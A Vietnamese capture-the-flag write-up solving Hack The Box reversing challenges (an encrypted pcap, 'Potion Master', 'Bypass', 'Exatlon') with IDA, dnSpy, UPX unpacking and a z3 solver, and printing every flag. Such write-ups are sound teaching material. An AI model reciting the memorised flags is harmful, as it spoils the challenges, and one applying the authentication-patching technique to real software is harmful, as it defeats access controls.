Chúng ta có thể mở 'trace.pcap', nó hơi ngắn. Khi theo dõi luồng hội thoại, các yêu cầu khác dành cho bắt tay TCP nhưng yêu cầu có cờ FIN, PSH và ACK có chuỗi dữ liệu được mã hóa.

image
Sử dụng IDA, tìm kiếm chức năng mã hóa. Chúng ta có thể dễ dàng nhận ra thuật toán là chế độ AES CBC với KEY = "supersecretkeyusedforencryption!" and IV = "someinitialvalue".

image

image

Flag: HTB{3ncRyPt3d_F1LE_tr4nSf3r}

Challenge 19: Potion Master

After adding the curried eel, your potion is almost complete, your cauldron boiling over. All you need to do now is incant the final spell to finish your masterwork!

Download Challenge Here

Solution

Thử thách đưa cho chúng ta một File Haskell Script

takeLast :: Int -> [a] -> [a]
takeLast n = reverse . take n . reverse

Hàm này lấy một danh sách số nguyên “n” và “a” [a] và trả về một danh sách mới chứa các phần tử “n” cuối cùng của danh sách đầu vào. Ví dụ: nếu bạn có danh sách [1, 2, 3, 4, 5] và bạn gọi takeLast 3, bạn sẽ nhận được danh sách [3, 4, 5].

chunks :: Int -> [a] -> [[a]]
chunks n l
  | n == 0 = []
  | n == 1 = [[x] | x <- l]
  | length l <= n = [l]
  | otherwise = [take n l] ++ (chunks n (drop n l))
  • n == 0 = []: Nếu n bằng 0 thì hàm trả về danh sách trống
  • n == 1 = [[x] | x <- l]: Nếu n bằng 1, hàm sẽ tạo một danh sách các danh sách đơn, mỗi danh sách chứa một phần tử từ danh sách l ban đầu.
  • length l <= n = [l]: Nếu độ dài của danh sách l nhỏ hơn hoặc bằng n thì hàm trả về một danh sách chứa toàn bộ danh sách gốc dưới dạng một danh sách con duy nhất.
  • otherwise = [take n l] ++ (chunks n (drop n l)): Với mọi giá trị khác của n và khi độ dài của l lớn hơn n, hàm lấy n phần tử đầu tiên của l bằng cách sử dụng take nl để tạo danh sách con . Sau đó, nó gọi đệ quy chính nó trên các phần tử còn lại của l thu được bằng cách thả n l. Kết quả là một danh sách chứa các danh sách con có kích thước n..
checkFlag :: String -> Bool
checkFlag flag =
  length content == 76 &&
  all (==True) (map (\ (l,r) -> l == r) (zip one a)) &&
  all (==True) (map (\ (l,r) -> l == r) (zip two b)) &&
  all (==True) (map (\ (l,r) -> l == r) (zip three c)) &&
  all (==True) (map (\ (l,r) -> l == r) (zip four d))
  where content = map ord (extractFlag flag)
        one     = map (\ [l, r] -> (l - r)) (chunks 2 content)
        two     = map (foldr xor 0) (chunks 3 content)
        three     = map (foldr (+) 0) (chunks 4 content)
        four     = map head (chunks 5 content)
  1. Điều kiện kiểm tra: nội dung độ dài == 76: Độ dài của danh sách giá trị ASCII phải là 76.
  2. content = map ord (extractFlag flag): Chuyển đổi cờ được trích xuất thành danh sách các giá trị ASCII bằng hàm ord.
  3. one = map (\ [l, r] -> (l - r)) (chunks 2 content): Tạo danh sách bằng cách trừ đi từng cặp phần tử liên tiếp khỏi giá trị ASCII. Các giá trị ASCII được nhóm thành từng cặp bằng cách sử dụng chunk 2.
  4. two = map (foldr xor 0) (chunks 3 content): Tạo danh sách bằng cách áp dụng thao tác XOR cho mỗi danh sách con có độ dài 3 thu được từ chunk 3
  5. three = map (foldr (+) 0) (chunks 4 content): Tạo danh sách bằng cách tính tổng của mỗi danh sách con có độ dài 4 thu được từ chunk 4.
  6. four = map head (chunks 5 content): Tạo danh sách bằng cách lấy phần tử đầu tiên của mỗi danh sách con có độ dài 5 thu được từ chunk 5.
from functools import reduce
from z3 import BitVec, Solver

x = [BitVec(f'x{i}', 8) for i in range(76)]
s = Solver()

a = [-43, 61, 58, 5, -4, -11, 64, -40, -43, 61, 62, -51, 46, 15, -49, -44, 47, 4, 6, -7, 47, 7, -59, 52, 17, 11, -56, 61, -74, 52, 63, -21, 53, -17, 66, -10, -58, 0]
b = [6, 106, 10, 0, 119, 52, 51, 101, 0, 0, 15, 48, 116, 22, 10, 58, 93, 59, 106, 43, 30, 47, 93, 62, 97, 63]
c = [304, 357, 303, 320, 304, 307, 349, 305, 257, 337, 340, 309, 396, 333, 320, 380, 362, 368, 286]
d = [52, 52, 95, 95, 110, 49, 51, 51, 95, 110, 110, 53, 116, 51, 98, 63]

for i in range(0, 76, 2):
    s.add(reduce(lambda x, y: x - y, x[i : i + 2]) == a[i // 2])

for i in range(0, 76, 3):
    s.add(reduce(lambda x, y: x ^ y, x[i : i + 3]) == b[i // 3])

for i in range(0, 76, 4):
    s.add(reduce(lambda x, y: x + y, x[i : i + 4]) == c[i // 4])

for i in range(0, 76, 5):
    s.add(x[i] == d[i // 5])
for i in range(76):
    s.add(x[i] <= 0x7f)  
    s.add(0x20 <= x[i])
s.check()
model = s.model()

flag = ''.join(chr(model[i].as_long()) for i in x)

print('HTB{' + flag + '}')
HTB{4_m0n4d_15_ju57_4_m0n01d_1n_7h3_c47360ry_0f_3nd0fUnc7or5-wh4t5_th3_pr0bl3m??}

Challenge 20: Bypass

The Client is in full control. Bypass the authentication and read the key to get the Flag.

Download Challenge Here

Solution

Chúng ta có thể sử dụng lệnh 'file' để cung cấp cái nhìn tổng quan về loại tệp.

image

Mở chương trình trong dnSpy.

image

Chương trình có rất nhiều chức năng kiểm tra đầu vào của người dùng. Lúc đầu, chúng tôi được nhắc nhập tên người dùng và mật khẩu. Nhưng nó luôn trả về sai và nó sẽ lặp mãi mãi. Thay đổi giá trị của flag2, chúng ta có thể truy cập vào hàm 0.2()

image

Trong hàm 0.2(), chúng tôi được nhắc nhập khóa bí mật và khóa bí mật đó được so sánh với một giá trị cụ thể. Nếu khóa bí mật bằng giá trị đã cho thì true được lưu trong flag, nếu không, false sẽ được lưu trong flag. Thay đổi giá trị của cờ, chúng ta có thể truy cập vào chức năng in cờ.

image

Flag: HTB{SuP3rC00lFL4g}

Challenge 21: Exatlon

Can you find the password?

Download Challenge Here

Solution

Chúng ta có thể sử dụng lệnh 'file' để cung cấp cái nhìn tổng quan về loại tệp.

image

Mở 'exatlon_v1' bằng DIE, chúng tôi phát hiện file này đã được vá bằng UPX. Vì vậy, điều đầu tiên chúng tôi làm là giải nén nó.

image

Hàm này nhận giá trị đầu vào, chuyển đổi một ký tự thành int và nhân 16, sau đó cộng kết quả đó vào một chuỗi. Cuối cùng so sánh chuỗi đó với mật mã.

image

image

arr = [1152, 1344, 1056, 1968, 1728, 816, 1648, 784, 1584, 816, 1728, 1520, 1840, 1664, 784, 1632, 1856, 1520, 1728, 816, 1632, 1856, 1520, 784, 1760, 1840, 1824, 816, 1584, 1856, 784, 1776, 1760, 528, 528, 2000]
flag = ''.join(chr(x // 16) for x in arr)
print(flag)

Flag: HTB{l3g1c3l_sh1ft_l3ft_1nsr3ct1on!!}